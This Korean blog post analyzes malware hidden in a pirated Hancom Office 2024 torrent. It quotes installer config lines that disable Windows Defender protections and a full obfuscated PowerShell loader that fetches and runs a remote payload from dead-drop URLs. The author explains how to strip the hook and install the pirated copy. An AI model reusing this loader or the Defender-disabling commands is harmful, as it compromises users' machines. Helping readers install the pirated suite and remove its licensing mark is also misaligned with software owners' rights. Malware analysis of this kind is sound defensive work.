반응형

한글 2024 토렌트 파일 중 악성 코드가 추가된 파일이 있다고 한다. 이후 업데이트 되면서 일부 코드가 바뀌었다.

추가된 악성 코드는 한컴오피스에서는 불필요한 작업이므로 설치 환경 파일을 편집한다.

후처리 코드 삭제

\Install\InstallerConfig.ini 파일을 메모장으로 열고

[PostInstall]
ExtRun0=Install\Install_UI\lo\HOffice130.exe
ExtRun1=Install\Install_UI\lo\HOffice130.exe
ExtRun2=Install\Install_UI\lo\HOffice130.exe
ExtRun3=Install\HOffice2024Update_20240624.exe
ExtRunParam0=execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe
ExtRunParam1=exec hide cmd.exe /c Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)
ExtRunParam2=exec hide cmd.exe /c Install\Install_UI\lo\vcredist.exe Invoke-Expression (Get-Content "Install\Install_UI\ci.xaml" -Raw)
ExtRunParam3=/silent

[PostInstall] 아래 코드를 전부 삭제 후 저장한다.

그리고 \Install\Setup.exe 파일로 설치하면 정상 설치가 된다.

중간에 있는 업데이트 코드는 파일을 직접 실행하면 된다. /silent 옵션은 설치 창이 보이지 않게하는 옵션일 뿐이다.

\Install\HOffice2024Update_20240624.exe 파일을 실행하여 업데이트를 완료한다.

위 두 파일은 한컴에서 만든 파일이므로 안심해도 된다.

※ 아래 코드 중 추가 작업이 가능한 것이 있으니 필요하면 적용한다.

악성 코드 정보

한글 2024 [한컴오피스] - 13.0.0.1053, 2024-06-24 업데이트

\Install\Install_UI\lo\HOffice130.exe 파일 정보

Nir Sofer(널소프트로 유명)에서 만든 NirCmd.exe 파일이며 파일명만 바꾼 것이다. 사용자를 속이려는 목적.

\Install\Install_UI\ci.xaml 파일 정보

[PostInstall] 그룹의 ExtRun2 항목에서 실행되는 파일이다. 이 파일 또한 xaml(재믈) 파일이 아닌, 사용자를 속이기 위한 파일일 뿐이다. 그래서 -Raw 옵션으로 코드를 그대로 읽어들인다.

원본 재믈은 \Install\Install_UI\ci.xaml 파일이며 .xaml은 MS에서 만든 디자인 파일 형식이다. Visual Studio(Blend)에서 작업할 수 있다.
if ([Environment]::Is64BitOperatingSystem) {
	$ProgramFilesPath = ${env:ProgramFiles(x86)}
} else {
	$ProgramFilesPath = $env:ProgramFiles
}

$sourcePath = Join-Path $ProgramFilesPath "Hnc\Office 2024\HOffice130\Bin\UxXml\Hancom2016\Common\Image\ko-kr"
Remove-Item -Path "$sourcePath\ci.xaml" -Force -ErrorAction SilentlyContinue
Copy-Item -Path "ci.png" -Destination $sourcePath -ErrorAction SilentlyContinue
$TkxBgEzPr = "aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO"
$ZCiANdmlr = "aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS9lYjkwMGVhN2NlMTczNGVmMDBlNWUzMGY4NDExZjdmMS9yYXcvUG93ZXI="
$pybjWzOsw = "aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE"
$oyJVyJMCf = "aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO"
$CPuWmDCEv = "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ=="

function Get-WebContent {
    param($IfyshvJBA)
    $EJoRnwpWw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($IfyshvJBA))
    try {
        $WebRequest = Invoke-WebRequest -Uri $EJoRnwpWw -UseBasicParsing
        if ($WebRequest -notmatch "CheckMP") {
            throw "not found"
        }

        $Id = $WebRequest -split "CheckMP" | Select-Object -Index 1
        $Id = $Id -split "\|" | Select-Object -Index 0

        if ($Id -match "^https?://") {
            $SFevpQGAd = $Id
        } else {
            $SFevpQGAd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CPuWmDCEv)) + $Id
        }

        $WebRequest2 = Invoke-WebRequest -Uri $SFevpQGAd -UseBasicParsing
        $EncodedScript = $WebRequest2 -split "10\|" | Select-Object -Index 1

        if ($EncodedScript -eq $null) {
            throw "not found"
        }

        $EncodedScript = $EncodedScript -split "\|" | Select-Object -Index 0
        return $EncodedScript
    } catch {
        return $null
    }
}

$BRBzPqvnl = @($TkxBgEzPr, $ZCiANdmlr, $pybjWzOsw, $oyJVyJMCf)
$EncodedScript = $null

foreach ($IfyshvJBA in $BRBzPqvnl) {
    $EncodedScript = Get-WebContent -IfyshvJBA $IfyshvJBA
    
    if ($EncodedScript -ne $null) {
        break
    }
}
if ($EncodedScript -ne $null) {
	$ScriptBlock = [ScriptBlock]::Create("Install\Install_UI\lo\vcredist.exe -e $EncodedScript")
	$Result = & $ScriptBlock
}

위에 영숫자가 섞여있는 문자들이 있는데, 컴맹들이 알기 어렵게 인코딩한 것일 뿐이다. 디코딩 해보자.

aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO
https://t.me/dRidulEDhRQYNREkN
(텔레그램 채팅 링크이다)

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS9lYjkwMGVhN2NlMTczNGVmMDBlNWUzMGY4NDExZjdmMS9yYXcvUG93ZXI=
https://gist.github.com/thamanarya/eb900ea7ce1734ef00e5e30f8411f7f1/raw/
(URL 앞부분)

aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE
https://t.me/IXvMGsiyPuHoPSSiD
(얘도 텔레그램 채팅 링크이다)

aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO
https://mastodon.social/@dRidulEDhRQYNREkN
(mastodon SNS 링크이다)

aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ==
https://docs.google.com/uc?export=download&id=
(URL 앞부분)

개인 정보를 해당 링크로 전송하는 기능을 하는 것 같다. 자세한 분석은 생략한다.

교육기관용 표시 지우기

위 악성 코드 중에 교육기관용 표시를 지우는 코드가 있다. 교육기관용 표시는 프로그램 실행 중, 프로그램 정보 창에서 볼 수 있다.

C:\Program Files (x86)\Hnc\Office 2024\HOffice130\Bin\UxXml\Hancom2016\Common\Image\ko-kr\ci.xaml 파일을 삭제하거나 이름을 변경한다.

작업 전후 차이

 

반응형

관련글